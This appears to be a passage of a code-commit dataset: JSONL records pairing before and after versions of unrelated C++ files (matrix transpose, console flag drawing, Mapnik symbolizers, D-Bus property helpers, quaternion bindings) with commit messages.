CM (two possible cases)\n        static_assert(!cm_to_rm || ((L1 == R2 && L2 == R1) || (L1 == R1 && L2 == R2)), \"Invalid dimensions for transposition\");\n    }\n\n    \/*!\n     * \\brief Validate the transposition dimensions\n     * \\param a The input matrix\n     * \\þaram c The output matrix\n     *\/\n    template <typename A, typename C, cpp_disable_if(all_fast<A,C>::value)>\n    static void check(const A& a, const C& c) {\n        static constexpr etl::order order_lhs = decay_traits<A>::storage_order;\n        static constexpr etl::order order_rhs = decay_traits<A>::storage_order;\n\n        static constexpr bool rm_to_rm = order_lhs == etl::order::RowMajor && order_rhs == etl::order::RowMajor;\n        static constexpr bool cm_to_cm = order_lhs == etl::order::ColumnMajor && order_rhs == etl::order::ColumnMajor;\n        static constexpr bool rm_to_cm = order_lhs == etl::order::RowMajor && order_rhs == etl::order::ColumnMajor;\n        static constexpr bool cm_to_rm = order_lhs == etl::order::ColumnMajor && order_rhs == etl::order::RowMajor;\n\n        const size_t L1 = etl::dim<0>(c);\n        const size_t L2 = etl::dim<1>(c);\n        const size_t R1 = etl::dim<0>(a);\n        const size_t R2 = etl::dim<1>(a);\n\n        \/\/ Case 1: RM -> RM\n        cpp_assert(!rm_to_rm || (L1 == R2 && L2 == R1), \"Invalid dimensions for transposition\");\n\n        \/\/ Case 2: CM -> CM\n        cpp_assert(!cm_to_cm || (L1 == R2 && L2 == R1), \"Invalid dimensions for transposition\");\n\n        \/\/ Case 3: RM -> CM (two possible cases)\n        cpp_assert(!rm_to_cm || ((L1 == R2 && L2 == R1) || (L1 == R1 && L2 == R2)), \"Invalid dimensions for transposition\");\n\n        \/\/ Case 4: RM -> CM (two possible cases)\n        cpp_assert(!cm_to_rm || ((L1 == R2 && L2 == R1) || (L1 == R1 && L2 == R2)), \"Invalid dimensions for transposition\");\n\n        cpp_unused(L1);\n        cpp_unused(L2);\n        cpp_unused(R1);\n        cpp_unused(R2);\n    }\n\n    \/*!\n     * \\brief Apply the expression\n     * \\param a The input\n     * \\param c The expression where to store the results\n     *\/\n    template <typename A, typename C>\n    static void apply(A&& a, C&& c) {\n        static_assert(all_etl_expr<A, C>::value, \"Transpose only supported for ETL expressions\");\n\n        check(a, c);\n\n        detail::transpose::apply(make_temporary(std::forward<A>(a)), std::forward<C>(c));\n    }\n\n    \/*!\n     * \\brief Returns a textual representation of the operation\n     * \\return a textual representation of the operation\n     *\/\n    static constexpr const char* desc() noexcept {\n        return \"transpose\";\n    }\n\n    \/*!\n     * \\brief Returns the DDth dimension of the expression\n     * \\return the DDth dimension of the expression\n     *\/\n    template <typename A, std::size_t DD>\n    static constexpr std::size_t dim() {\n        return DD == 0 ? decay_traits<A>::template dim<1>() : decay_traits<A>::template dim<0>();\n    }\n\n    \/*!\n     * \\brief Returns the dth dimension of the expression\n     * \\param a The left hand side\n     * \\param d The dimension to get\n     * \\return the dth dimension of the expression\n     *\/\n    template <typename A>\n    static std::size_t dim(const A& a, std::size_t d) {\n        return d == 0 ? etl::dim<1>(a) : etl::dim<0>(a);\n    }\n\n    \/*!\n     * \\brief Returns the size of the expression\n     * \\param a The left hand side\n     * \\return the size of the expression\n     *\/\n    template <typename A>\n    static std::size_t size(const A& a) {\n        return etl::size(a);\n    }\n\n    \/*!\n     * \\brief Returns the size of the expression\n     * \\return the size of the expression\n     *\/\n    template <typename A>\n    static constexpr std::size_t size() {\n        return decay_traits<A>::size();\n    }\n\n    \/*!\n     * \\brief Returns the storage order of the expression.\n     * \\return the storage order of the expression\n     *\/\n    template <typename A>\n    static constexpr etl::order order() {\n        return etl::order::RowMajor;\n    }\n\n    \/*!\n     * \\brief Returns the number of dimensions of the expression\n     * \\return the number of dimensions of the expression\n     *\/\n    static constexpr std::size_t dimensions() {\n        return 2;\n    }\n};\n\n} \/\/end of namespace etl\n<|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n#include <conio.h> \/\/ getch()\n#include <math.h> \/\/ fmod() abs()\n\n\/\/ ********* WINDOWS ONLY *********\n#include <windows.h>\nvoid color(unsigned char color){ SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), color); }\nenum COLORS { \/\/ these values varies in consoles, they should be factory default ;)\n\tBLACK, \tDARKBLUE, \tDARKGREEN, \tDARKCYAN, \tDARKRED, \tMAGENTTA, \tORANGE, \tGRAY,\n\tDARKGRAY, \tBLUE, \tGREEN, \t\tCYAN, \t\tRED,  \t\tPINK, \t\tYELLOW, \tWHITE\n};\nvoid printFlag(int width){\n\tdouble x = width;\n\tdouble y = 2*x\/3;\n\tdouble c = (double)width\/(double)15;\n\t\n\tfor(int i = 0;i < y;i++){\n\t\tfor(int j = 0;j < x;j++){\n\t\t\tif( j\/2 <= ( (width\/8) + c - abs(c - fmod(i,c*2) ) ) ) color(WHITE);\n\t\t\telse color(RED);\n\t\t\tprintf(\"%c\",219);\n\t\t}printf(\"\\n\");\n\t}\n}\n\/\/ *********\nint main()\n{\n\tprintFlag(80); \/\/ define your flag width here\n\tgetch();\n\treturn 0;\n}\n\n<commit_msg>Color now changes only when needed<commit_after>#include <stdio.h>\n#include <conio.h> \/\/ getch()\n#include <math.h> \/\/ fmod() abs()\n\n\/\/ ********* WINDOWS ONLY *********\n#include <windows.h>\nvoid color(unsigned char color){ SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), color); }\nenum COLORS { \/\/ these values varies in consoles, they should be factory default ;)\n\tBLACK, \tDARKBLUE, \tDARKGREEN, \tDARKCYAN, \tDARKRED, \tMAGENTTA, \tORANGE, \tGRAY,\n\tDARKGRAY, \tBLUE, \tGREEN, \t\tCYAN, \t\tRED,  \t\tPINK, \t\tYELLOW, \tWHITE\n};\nvoid printFlag(int width){\n\tdouble x = width;\n\tdouble y = 2*x\/3;\n\tdouble c = (double)width\/(double)15;\n\t\n\tfor(int i = 0;i < y;i++){\n\t\tcolor(WHITE);\n\t\tfor(int j = 0;j < x;j++){\n\t\t\tif( (int)(j\/2 == (int)( (width\/8) + c - abs(c - fmod(i,c*2) ) ) ) ) color(RED);\n\t\t\tprintf(\"%c\",219);\n\t\t}printf(\"\\n\");\n\t}\n}\n\/\/ *********\nint main()\n{\n\tprintFlag(100); \/\/ define your flag width here\n\tgetch();\n\treturn 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2013 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_SYMBOLIZER_UTILS_HPP\n#define MAPNIK_SYMBOLIZER_UTILS_HPP\n\n\/\/ mapnik\n#include <mapnik\/symbolizer.hpp>\n\/\/ boost\n#include <boost\/variant\/apply_visitor.hpp>\n\nnamespace mapnik {\n\ntemplate <typename Symbolizer>\nstruct symbolizer_traits\n{\n    static char const* name() { return \"Unknown\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<point_symbolizer>\n{\n    static char const* name() { return \"PointSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<line_symbolizer>\n{\n    static char const* name() { return \"LineSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<polygon_symbolizer>\n{\n    static char const* name() { return \"PolygonSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<text_symbolizer>\n{\n    static char const* name() { return \"TextSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<line_pattern_symbolizer>\n{\n    static char const* name() { return \"LinePatternSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<polygon_pattern_symbolizer>\n{\n    static char const* name() { return \"PolygonPatternSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<markers_symbolizer>\n{\n    static char const* name() { return \"MarkersSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<shield_symbolizer>\n{\n    static char const* name() { return \"ShieldSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<raster_symbolizer>\n{\n    static char const* name() { return \"RasterSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<building_symbolizer>\n{\n    static char const* name() { return \"BuildingSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<debug_symbolizer>\n{\n    static char const* name() { return \"DebugSymbolizer\";}\n};\n\n\/\/ symbolizer name impl\nnamespace detail {\n\nstruct symbolizer_name_impl : public boost::static_visitor<std::string>\n{\npublic:\n    template <typename Symbolizer>\n    std::string operator () (Symbolizer const& sym) const\n    {\n        boost::ignore_unused_variable_warning(sym);\n        return symbolizer_traits<Symbolizer>::name();\n    }\n};\n}\n\nstd::string symbolizer_name(symbolizer const& sym)\n{\n    std::string type = boost::apply_visitor( detail::symbolizer_name_impl(), sym);\n    return type;\n}\n\n};\n\n#endif \/\/ MAPNIK_SYMBOLIZER_UTILS_HPP\n<commit_msg>symbolizer property value to string<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2013 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_SYMBOLIZER_UTILS_HPP\n#define MAPNIK_SYMBOLIZER_UTILS_HPP\n\n\/\/ mapnik\n#include <mapnik\/symbolizer.hpp>\n#include <mapnik\/transform_processor.hpp>\n#include <mapnik\/expression_string.hpp>\n\n\/\/ boost\n#include <boost\/variant\/apply_visitor.hpp>\n\nnamespace mapnik {\n\ntemplate <typename Symbolizer>\nstruct symbolizer_traits\n{\n    static char const* name() { return \"Unknown\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<point_symbolizer>\n{\n    static char const* name() { return \"PointSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<line_symbolizer>\n{\n    static char const* name() { return \"LineSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<polygon_symbolizer>\n{\n    static char const* name() { return \"PolygonSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<text_symbolizer>\n{\n    static char const* name() { return \"TextSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<line_pattern_symbolizer>\n{\n    static char const* name() { return \"LinePatternSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<polygon_pattern_symbolizer>\n{\n    static char const* name() { return \"PolygonPatternSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<markers_symbolizer>\n{\n    static char const* name() { return \"MarkersSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<shield_symbolizer>\n{\n    static char const* name() { return \"ShieldSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<raster_symbolizer>\n{\n    static char const* name() { return \"RasterSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<building_symbolizer>\n{\n    static char const* name() { return \"BuildingSymbolizer\";}\n};\n\ntemplate<>\nstruct symbolizer_traits<debug_symbolizer>\n{\n    static char const* name() { return \"DebugSymbolizer\";}\n};\n\n\/\/ symbolizer name impl\nnamespace detail {\n\nstruct symbolizer_name_impl : public boost::static_visitor<std::string>\n{\npublic:\n    template <typename Symbolizer>\n    std::string operator () (Symbolizer const& sym) const\n    {\n        boost::ignore_unused_variable_warning(sym);\n        return symbolizer_traits<Symbolizer>::name();\n    }\n};\n}\n\nstd::string symbolizer_name(symbolizer const& sym)\n{\n    std::string type = boost::apply_visitor( detail::symbolizer_name_impl(), sym);\n    return type;\n}\n\n\ntemplate <typename Meta>\nclass symbolizer_property_value_string : public boost::static_visitor<std::string>\n{\npublic:\n    symbolizer_property_value_string (Meta const& meta)\n        : meta_(meta) {}\n\n    std::string operator() ( mapnik::enumeration_wrapper const& e) const\n    {\n        std::stringstream ss;\n        auto const& convert_fun_ptr(std::get<2>(meta_));\n        if ( convert_fun_ptr )\n        {\n            ss << convert_fun_ptr(e);\n        }\n        return ss.str();\n    }\n\n    std::string operator () ( path_expression_ptr const& expr) const\n    {\n        if (expr)\n        {\n            return path_processor::to_string(*expr);\n        }\n        return std::string();\n    }\n\n    std::string operator () (text_placements_ptr const& expr) const\n    {\n        return std::string(\"\\\"<fixme-text-placement-ptr>\\\"\");\n    }\n\n    std::string operator () (raster_colorizer_ptr const& expr) const\n    {\n        return std::string(\"\\\"<fixme-raster-colorizer-ptr>\\\"\");\n    }\n\n    std::string operator () (transform_type const& expr) const\n    {\n        if (expr)\n        {\n            return transform_processor_type::to_string(*expr);\n        }\n        return std::string();\n    }\n\n    std::string operator () (expression_ptr const& expr) const\n    {\n        if (expr)\n        {\n            return mapnik::to_expression_string(*expr);\n        }\n        return std::string();\n    }\n\n    std::string operator () (dash_array const& dash) const\n    {\n        std::ostringstream ss;\n        for (std::size_t i = 0; i < dash.size(); ++i)\n        {\n            ss << dash[i].first << \", \" << dash[i].second;\n            if ( i + 1 < dash.size() ) ss << \",\";\n        }\n        return ss.str();\n    }\n\n    template <typename T>\n    std::string operator () ( T const& val ) const\n    {\n        std::ostringstream ss;\n        ss << val;\n        return ss.str();\n    }\n\nprivate:\n    Meta const& meta_;\n};\n\n};\n\n#endif \/\/ MAPNIK_SYMBOLIZER_UTILS_HPP\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include \"mtao\/types.h\"\n\n\nnamespace mtao { namespace eigen {\n\n    template <bool Row=false,typename Derived>\n        auto slice_filter(const Eigen::MatrixBase<Derived>& A, const mtao::VectorX<bool>& M) {\n\n            using Scalar = typename Derived::Scalar;\n            constexpr static int  RACT = Row ? Eigen::Dynamic: Derived::RowsAtCompileTime;\n            constexpr static int  CACT = Row ? Derived::ColsAtCompileTime : Eigen::Dynamic;\n\n            int size = M.count();\n\n\n            using Mat = Eigen::Matrix<Scalar,RACT,CACT>;\n            Mat B( Row?size:A.rows(),Row?A.cols():size);\n\n\n            int c = 0;\n            for(int i = 0; i < (Row?A.rows():A.cols()); ++i) {\n                if(M(i)) {\n                    if constexpr(Row) {\n                    B.row(c++) = A.row(i);\n                    } else {\n                    B.col(c++) = A.col(i);\n                    }\n                }\n            }\n            return B;\n        }\n    template <typename Derived>\n        auto row_slice_filter(const Eigen::MatrixBase<Derived>& A, const mtao::VectorX<bool>& M) {\n            return slice_filter<true>(A,M);\n        }\n\n    template <typename Derived>\n        auto col_slice_filter(const Eigen::MatrixBase<Derived>& A, const mtao::VectorX<bool>& M) {\n            return slice_filter<false>(A,M);\n        }\n\n}}\n<commit_msg>indentation<commit_after>#pragma once\n\n#include \"mtao\/types.h\"\n\n\nnamespace mtao { namespace eigen {\n\n    template <bool Row=false,typename Derived>\n        auto slice_filter(const Eigen::MatrixBase<Derived>& A, const mtao::VectorX<bool>& M) {\n\n            using Scalar = typename Derived::Scalar;\n            constexpr static int  RACT = Row ? Eigen::Dynamic: Derived::RowsAtCompileTime;\n            constexpr static int  CACT = Row ? Derived::ColsAtCompileTime : Eigen::Dynamic;\n\n            int size = M.count();\n\n\n            using Mat = Eigen::Matrix<Scalar,RACT,CACT>;\n            Mat B( Row?size:A.rows(),Row?A.cols():size);\n\n\n            int c = 0;\n            for(int i = 0; i < (Row?A.rows():A.cols()); ++i) {\n                if(M(i)) {\n                    if constexpr(Row) {\n                        B.row(c++) = A.row(i);\n                    } else {\n                        B.col(c++) = A.col(i);\n                    }\n                }\n            }\n            return B;\n        }\n    template <typename Derived>\n        auto row_slice_filter(const Eigen::MatrixBase<Derived>& A, const mtao::VectorX<bool>& M) {\n            return slice_filter<true>(A,M);\n        }\n\n    template <typename Derived>\n        auto col_slice_filter(const Eigen::MatrixBase<Derived>& A, const mtao::VectorX<bool>& M) {\n            return slice_filter<false>(A,M);\n        }\n\n}}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <sdbusplus\/asio\/connection.hpp>\n\nnamespace sdbusplus::asio\n{\n\ntemplate <typename Handler>\ninline void getAllProperties(sdbusplus::asio::connection& bus,\n                             const std::string& service,\n                             const std::string& path,\n                             const std::string& interface, Handler&& handler)\n{\n    bus.async_method_call(std::forward<Handler>(handler), service, path,\n                          \"org.freedesktop.DBus.Properties\", \"GetAll\",\n                          interface);\n}\n\ntemplate <typename T, typename Handler>\ninline void getProperty(sdbusplus::asio::connection& bus,\n                        const std::string& service, const std::string& path,\n                        const std::string& interface,\n                        const std::string& propertyName, Handler&& handler)\n{\n    bus.async_method_call(\n        [handler = std::forward<Handler>(handler)](\n            boost::system::error_code ec,\n            std::variant<std::monostate, T>& ret) {\n            if (ec)\n            {\n                handler(ec, {});\n                return;\n            }\n\n            if (T* value = std::get_if<T>(&ret))\n            {\n                handler(ec, *value);\n                return;\n            }\n\n            handler(boost::system::errc::make_error_code(\n                        boost::system::errc::invalid_argument),\n                    {});\n        },\n        service, path, \"org.freedesktop.DBus.Properties\", \"Get\", interface,\n        propertyName);\n}\n\n\/* This method has been deprecated, and will be removed in a future revision.\n * Use the getProperty overload above to make equivalent calls\n *\/\ntemplate <typename T, typename OnError, typename OnSuccess>\n[[deprecated]] inline void\n    getProperty(sdbusplus::asio::connection& bus, const std::string& service,\n                const std::string& path, const std::string& interface,\n                const std::string& propertyName, OnError&& onError,\n                OnSuccess&& onSuccess)\n{\n    bus.async_method_call(\n        [onError = std::move(onError), onSuccess = std::move(onSuccess)](\n            boost::system::error_code ec,\n            std::variant<std::monostate, T>& ret) {\n            if (ec)\n            {\n                onError(ec);\n                return;\n            }\n\n            if (T* value = std::get_if<T>(&ret))\n            {\n                onSuccess(*value);\n                return;\n            }\n\n            onError(boost::system::errc::make_error_code(\n                boost::system::errc::invalid_argument));\n        },\n        service, path, \"org.freedesktop.DBus.Properties\", \"Get\", interface,\n        propertyName);\n}\n\ntemplate <typename T, typename Handler>\ninline void setProperty(sdbusplus::asio::connection& bus,\n                        const std::string& service, const std::string& path,\n                        const std::string& interface,\n                        const std::string& propertyName, T&& propertyValue,\n                        Handler&& handler)\n{\n    bus.async_method_call(\n        std::forward<Handler>(handler), service, path,\n        \"org.freedesktop.DBus.Properties\", \"Set\", interface, propertyName,\n        std::variant<std::decay_t<T>>(std::forward<T>(propertyValue)));\n}\n\n} \/\/ namespace sdbusplus::asio\n<commit_msg>Used erased type to reduce binary for getProperty<commit_after>#pragma once\n\n#include <sdbusplus\/asio\/connection.hpp>\n\nnamespace sdbusplus::asio\n{\n\ntemplate <typename Handler>\ninline void getAllProperties(sdbusplus::asio::connection& bus,\n                             const std::string& service,\n                             const std::string& path,\n                             const std::string& interface, Handler&& handler)\n{\n    bus.async_method_call(std::forward<Handler>(handler), service, path,\n                          \"org.freedesktop.DBus.Properties\", \"GetAll\",\n                          interface);\n}\n\ntemplate <typename T>\ninline void\n    getProperty(sdbusplus::asio::connection& bus, const std::string& service,\n                const std::string& path, const std::string& interface,\n                const std::string& propertyName,\n                std::function<void(boost::system::error_code, T)>&& handler)\n{\n    static_assert(std::is_same_v<T, std::decay_t<T>>);\n\n    bus.async_method_call(\n        [handler = std::move(handler)](boost::system::error_code ec,\n                                       std::variant<std::monostate, T>& ret) {\n            if (ec)\n            {\n                handler(ec, {});\n                return;\n            }\n\n            if (T* value = std::get_if<T>(&ret))\n            {\n                handler(ec, std::move(*value));\n                return;\n            }\n\n            handler(boost::system::errc::make_error_code(\n                        boost::system::errc::invalid_argument),\n                    {});\n        },\n        service, path, \"org.freedesktop.DBus.Properties\", \"Get\", interface,\n        propertyName);\n}\n\n\/* This method has been deprecated, and will be removed in a future revision.\n * Use the getProperty overload above to make equivalent calls\n *\/\ntemplate <typename T, typename OnError, typename OnSuccess>\n[[deprecated]] inline void\n    getProperty(sdbusplus::asio::connection& bus, const std::string& service,\n                const std::string& path, const std::string& interface,\n                const std::string& propertyName, OnError&& onError,\n                OnSuccess&& onSuccess)\n{\n    bus.async_method_call(\n        [onError = std::move(onError), onSuccess = std::move(onSuccess)](\n            boost::system::error_code ec,\n            std::variant<std::monostate, T>& ret) {\n            if (ec)\n            {\n                onError(ec);\n                return;\n            }\n\n            if (T* value = std::get_if<T>(&ret))\n            {\n                onSuccess(*value);\n                return;\n            }\n\n            onError(boost::system::errc::make_error_code(\n                boost::system::errc::invalid_argument));\n        },\n        service, path, \"org.freedesktop.DBus.Properties\", \"Get\", interface,\n        propertyName);\n}\n\ntemplate <typename T, typename Handler>\ninline void setProperty(sdbusplus::asio::connection& bus,\n                        const std::string& service, const std::string& path,\n                        const std::string& interface,\n                        const std::string& propertyName, T&& propertyValue,\n                        Handler&& handler)\n{\n    bus.async_method_call(\n        std::forward<Handler>(handler), service, path,\n        \"org.freedesktop.DBus.Properties\", \"Set\", interface, propertyName,\n        std::variant<std::decay_t<T>>(std::forward<T>(propertyValue)));\n}\n\n} \/\/ namespace sdbusplus::asio\n<|endoftext|>"}
{"text":"<commit_before>\/\/ For conditions of distribution and use, see copyright notice in license.txt\n\n#include \"StableHeaders.h\"\n#include \"QuaternionDecorator.h\"\n\nnamespace PythonScript {\n\n    Quaternion* QuaternionDecorator::new_Quaternion(const float x, const float y, const float z, const float w) { return new Quaternion(x, y, z, w); }\n    Quaternion* QuaternionDecorator::new_Quaternion(const float x, const float y, const float z) { return new Quaternion(x, y, z); }\n    Quaternion* QuaternionDecorator::new_Quaternion(const Vector3df& vec) { return new Quaternion(vec); }\n    Quaternion* QuaternionDecorator::new_Quaternion(const float angle, const Vector3df& vec) { return new Quaternion(angle, vec); }\n    void QuaternionDecorator::delete_Quaternion(Quaternion* self) { delete self; }\n\n    float QuaternionDecorator::x(Quaternion* self) { return self->x; }\n    float QuaternionDecorator::y(Quaternion* self) { return self->y; }\n    float QuaternionDecorator::z(Quaternion* self) { return self->z; } \n    float QuaternionDecorator::w(Quaternion* self) { return self->w; } \n    \n    bool QuaternionDecorator::equals(Quaternion* self, const Quaternion& other, const float tolerance) { return self->equals(other, tolerance); }\n\n    void QuaternionDecorator::setx(Quaternion* self, float value) { self->x = value; }\n    void QuaternionDecorator::sety(Quaternion* self, float value) { self->y = value; }\n    void QuaternionDecorator::setz(Quaternion* self, float value) { self->z = value; }\n    void QuaternionDecorator::setw(Quaternion* self, float value) { self->w = value; }\n    \n    float QuaternionDecorator::dotProduct(Quaternion* self, const Quaternion& other)\n    {\n        return self->dotProduct(other);\n    }\n\n    void QuaternionDecorator::toEuler(Quaternion* self, Vector3df& euler) { \n        self->toEuler(euler);\n    }\n    \n    void QuaternionDecorator::set(Quaternion* self, float x, float y, float z, float w) {\n        self->set(x, y, z, w);\n    }\n    \n    void QuaternionDecorator::set(Quaternion* self, float x, float y, float z, float w) {\n        self->set(x, y, z);\n    }\n    \n    void QuaternionDecorator::set(Quaternion* self, const Vector3df& euler) {\n        self->set(euler);\n    }\n    \n    void QuaternionDecorator::normalize(Quaternion* self)\n    {\n        self->normalize();\n    }\n    \n    void QuaternionDecorator::makeInverse(Quaternion* self)\n    {\n        self->makeInverse();\n    }\n    \n    void QuaternionDecorator::slerp(Quaternion* self, Quaternion q1, Quaternion q2, float interpolate)\n    {\n        self->slerp(q1, q2, interpolate);\n    }\n    \n    void QuaternionDecorator::fromAngleAxis(Quaternion* self, float angle, const Vector3df& axis)\n    {\n        self->fromAngleAxis(angle, axis);\n    }\n    \n    void QuaternionDecorator::toAngleAxis(Quaternion* self, float& angle, Vector3df& axis)\n    {\n        self->toAngleAxis(angle, axis);\n    }\n    \n    void QuaternionDecorator::makeIdentity(Quaternion* self)\n    {\n        self->makeIdentity();\n    }\n    \n    void QuaternionDecorator::rotationFromTo(Quaternion* self, const Vector3df& from, const Vector3df& to)\n    {\n        self->rotationFromTo(from, to);\n    }\n}\n\n<commit_msg>Small reorg<commit_after>\/\/ For conditions of distribution and use, see copyright notice in license.txt\n\n#include \"StableHeaders.h\"\n#include \"QuaternionDecorator.h\"\n\nnamespace PythonScript {\n\n    Quaternion* QuaternionDecorator::new_Quaternion(const float x, const float y, const float z, const float w)\n    {\n        return new Quaternion(x, y, z, w);\n    }\n    \n    Quaternion* QuaternionDecorator::new_Quaternion(const float x, const float y, const float z)\n    {\n        return new Quaternion(x, y, z);\n    }\n    \n    Quaternion* QuaternionDecorator::new_Quaternion(const Vector3df& vec)\n    {\n        return new Quaternion(vec);\n    }\n    \n    Quaternion* QuaternionDecorator::new_Quaternion(const float angle, const Vector3df& vec)\n    {\n        return new Quaternion(angle, vec);\n    }\n    \n    void QuaternionDecorator::delete_Quaternion(Quaternion* self)\n    {\n        delete self;\n    }\n\n    float QuaternionDecorator::x(Quaternion* self)\n    {\n        return self->x;\n    }\n    \n    float QuaternionDecorator::y(Quaternion* self)\n    {\n        return self->y;\n    }\n    \n    float QuaternionDecorator::z(Quaternion* self)\n    {\n        return self->z;\n    }\n    \n    float QuaternionDecorator::w(Quaternion* self)\n    {\n        return self->w;\n    }\n    \n    bool QuaternionDecorator::equals(Quaternion* self, const Quaternion& other, const float tolerance)\n    {\n        return self->equals(other, tolerance);\n    }\n\n    void QuaternionDecorator::setx(Quaternion* self, float value)\n    {\n        self->x = value;\n    }\n    \n    void QuaternionDecorator::sety(Quaternion* self, float value)\n    {\n        self->y = value;\n    }\n    \n    void QuaternionDecorator::setz(Quaternion* self, float value)\n    {\n        self->z = value;\n    }\n    \n    void QuaternionDecorator::setw(Quaternion* self, float value)\n    {\n        self->w = value;\n    }\n    \n    float QuaternionDecorator::dotProduct(Quaternion* self, const Quaternion& other)\n    {\n        return self->dotProduct(other);\n    }\n\n    void QuaternionDecorator::toEuler(Quaternion* self, Vector3df& euler)\n    {\n        self->toEuler(euler);\n    }\n    \n    void QuaternionDecorator::set(Quaternion* self, float x, float y, float z, float w)\n    {\n        self->set(x, y, z, w);\n    }\n    \n    void QuaternionDecorator::set(Quaternion* self, float x, float y, float z, float w)\n    {\n        self->set(x, y, z);\n    }\n    \n    void QuaternionDecorator::set(Quaternion* self, const Vector3df& euler)\n    {\n        self->set(euler);\n    }\n    \n    void QuaternionDecorator::normalize(Quaternion* self)\n    {\n        self->normalize();\n    }\n    \n    void QuaternionDecorator::makeInverse(Quaternion* self)\n    {\n        self->makeInverse();\n    }\n    \n    void QuaternionDecorator::slerp(Quaternion* self, Quaternion q1, Quaternion q2, float interpolate)\n    {\n        self->slerp(q1, q2, interpolate);\n    }\n    \n    void QuaternionDecorator::fromAngleAxis(Quaternion* self, float angle, const Vector3df& axis)\n    {\n        self->fromAngleAxis(angle, axis);\n    }\n    \n    void QuaternionDecorator::toAngleAxis(Quaternion* self, float& angle, Vector3df& axis)\n    {\n        self->toAngleAxis(angle, axis);\n    }\n    \n    void QuaternionDecorator::makeIdentity(Quaternion* self)\n    {\n        self->makeIdentity();\n    }\n    \n    void QuaternionDecorator::rotationFromTo(Quaternion* self, const Vector3df& from, const Vector3df& to)\n    {\n        self->rotationFromTo(from, to);\n    }\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"DataSetTrainer.h\"\r\n#define _USE_MATH_DEFINES\r\n#include <math.h>\r\n\r\n\r\n\r\nDataSetTrainer::DataSetTrainer(std::vector<vector3d*>* space, std::vector<vector3d*>* vectors) {\r\n\tthis->space = space;\r\n\tthis->vectors = vectors;\r\n\r\n\tif (space == NULL && vectors == NULL) {\r\n\t\tthis->a = 0;\r\n\t\tthis->b = 0;\r\n\t\tthis->c = 0;\r\n\t\tthis->d = 0;\r\n\t\tthis->e = 0;\r\n\t\tthis->f = 0;\r\n\t\tthis->g = 0;\r\n\t\tthis->h = 0;\r\n\t\tthis->i = 0;\r\n\t\tthis->j = 0;\r\n\t\tthis->k = 0;\r\n\t\tthis->l = 0;\r\n\t}\r\n\tthis->net = new dlib::mlp::kernel_1a_c(3, 10, 0L, 2);\/\/3 input nodes, 5 hidden nodes on first layer, 0 nodes second layer, and 2 nodes output layer, rest default\r\n\t\/\/really have no idea what i'm doing. Guess I'll be playing with those middle two values, and maybe others as well?\r\n}\r\n\r\n\r\nDataSetTrainer::~DataSetTrainer()\r\n{\r\n\tdelete this->space;\r\n\tdelete this->vectors;\r\n}\r\n\r\nvector3d* DataSetTrainer::get_from_linear(vector3d* loc) {\r\n\tfloat r = (loc->xyz()[0] * this->a) + (loc->xyz()[1] * this->b) + (loc->xyz()[2] * this->c) + this->d;\r\n\tfloat theta = (loc->xyz()[0] * this->e) + (loc->xyz()[1] * this->f) + (loc->xyz()[2] * this->g) + this->h;\r\n\tfloat phi = (loc->xyz()[0] * this->i) + (loc->xyz()[1] * this->j) + (loc->xyz()[2] * this->k) + this->l;\r\n\r\n\tvector3d* ret = new vector3d(r, theta, phi,vector3d::spherical);\r\n\t\/\/ret->xyz();\r\n\treturn ret;\r\n}\r\n\r\ndouble DataSetTrainer::linear_model(const input_vector& input, const parameter_vector& params) {\r\n\tconst double p0 = 